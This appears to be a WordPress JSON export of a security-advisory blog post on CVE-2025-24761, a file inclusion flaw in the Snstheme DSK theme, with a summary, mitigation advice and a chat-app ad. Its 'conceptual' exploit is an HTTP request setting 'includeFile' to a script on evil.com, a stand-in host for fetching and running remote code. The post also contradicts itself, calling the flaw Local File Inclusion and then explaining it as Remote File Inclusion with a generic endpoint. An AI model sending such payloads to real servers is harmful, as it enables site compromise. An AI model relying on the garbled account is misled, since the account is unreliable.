{"id":55325,"date":"2025-06-27T06:09:54","date_gmt":"2025-06-27T06:09:54","guid":{"rendered":""},"modified":"2025-09-26T19:45:54","modified_gmt":"2025-09-27T01:45:54","slug":"cve-2025-24761-severe-php-local-file-inclusion-vulnerability-in-snstheme-dsk","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-24761-severe-php-local-file-inclusion-vulnerability-in-snstheme-dsk\/","title":{"rendered":"<strong>CVE-2025-24761: Severe PHP Local File Inclusion Vulnerability in Snstheme DSK<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is continuously evolving, with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-24761, affects the PHP-based Snstheme DSK. This vulnerability arises from improper control of a filename for an Include\/Require statement in a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47167-microsoft-office-type-confusion-vulnerability-leading-to-unauthorized-local-code-execution\/\"  data-wpil-monitor-id=\"61761\">PHP<\/a> program which facilitates PHP Local File Inclusion. It poses a significant threat to system integrity and data security, as it potentially allows <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49181-unauthorized-api-endpoint-access-leading-to-denial-of-service-and-data-leakage\/\"  data-wpil-monitor-id=\"61701\">unauthorized access to sensitive data<\/a> or even full system compromise. Therefore, understanding and mitigating this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33117-privileged-user-vulnerability-in-ibm-qradar-siem\/\"  data-wpil-monitor-id=\"62958\">vulnerability is of utmost importance for users<\/a> of Snstheme DSK.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-24761<br \/>\nSeverity: High, CVSS score 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49415-path-traversal-vulnerability-in-fw-gallery-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"62959\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2155141769\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Snstheme DSK | Up to version 2.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability, CVE-2025-24761, arises when an attacker is able to manipulate the filename that is used in an Include\/Require statement in a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48160-improper-control-of-filename-for-php-program-in-cocobasic-caliris\/\"  data-wpil-monitor-id=\"84649\">PHP<\/a> program. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25264-critical-vulnerability-allowing-unauthenticated-remote-access-due-to-overly-permissive-cors-policy\/\"  data-wpil-monitor-id=\"61922\">allows them to include a file from a remote<\/a> server which can be executed within the context of the local PHP application. This is known as a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48125-high-risk-php-remote-file-inclusion-vulnerability-in-wp-event-manager\/\"  data-wpil-monitor-id=\"61895\">PHP Remote File Inclusion<\/a> (RFI) attack. In this case, the attack can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32717-heap-based-buffer-overflow-in-microsoft-office-word-leading-to-unauthorized-code-execution\/\"  data-wpil-monitor-id=\"61832\">lead to unauthorized<\/a> access, potential system compromise, and data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4083826454\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how an attacker might exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;includeFile&quot;: &quot;http:\/\/evil.com\/malicious_script.php&quot; }<\/code><\/pre>\n<p>In this example, the attacker sends a POST <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6001-cross-site-request-forgery-vulnerability-in-virtuemart-product-image-upload-function\/\"  data-wpil-monitor-id=\"62163\">request to a vulnerable<\/a> endpoint on the target server. The &#8220;includeFile&#8221; parameter is manipulated to point to a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49275-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogbyte\/\"  data-wpil-monitor-id=\"62044\">PHP script hosted on a remote<\/a> server (evil.com). If the server processes this request, it would include and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33112-local-arbitrary-code-execution-vulnerability-in-ibm-aix-and-vios-perl\/\"  data-wpil-monitor-id=\"61989\">execute the malicious script in the context of the local<\/a> PHP application, potentially leading to system compromise or data leakage.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26521-apache-cloudstack-user-account-vulnerability-in-kubernetes-cluster-creation\/\"  data-wpil-monitor-id=\"63122\">Snstheme<\/a> DSK are strongly recommended to apply the vendor&#8217;s patch to resolve this vulnerability. If the patch is not immediately available or applicable, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can be configured to block or alert on <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46414-unlimited-pin-attempts-vulnerability-in-api\/\"  data-wpil-monitor-id=\"81241\">attempts to exploit this vulnerability<\/a>, thus providing a layer of protection while a more permanent solution is implemented.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is continuously evolving, with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-24761, affects the PHP-based Snstheme DSK. This vulnerability arises from improper control of a filename for an Include\/Require statement in a PHP program which facilitates PHP Local File Inclusion. It poses a significant threat to system integrity [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55325","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55325","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55325"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55325\/revisions"}],"predecessor-version":[{"id":77434,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55325\/revisions\/77434"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55325"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55325"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55325"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55325"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55325"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55325"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55325"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55325"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55325"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}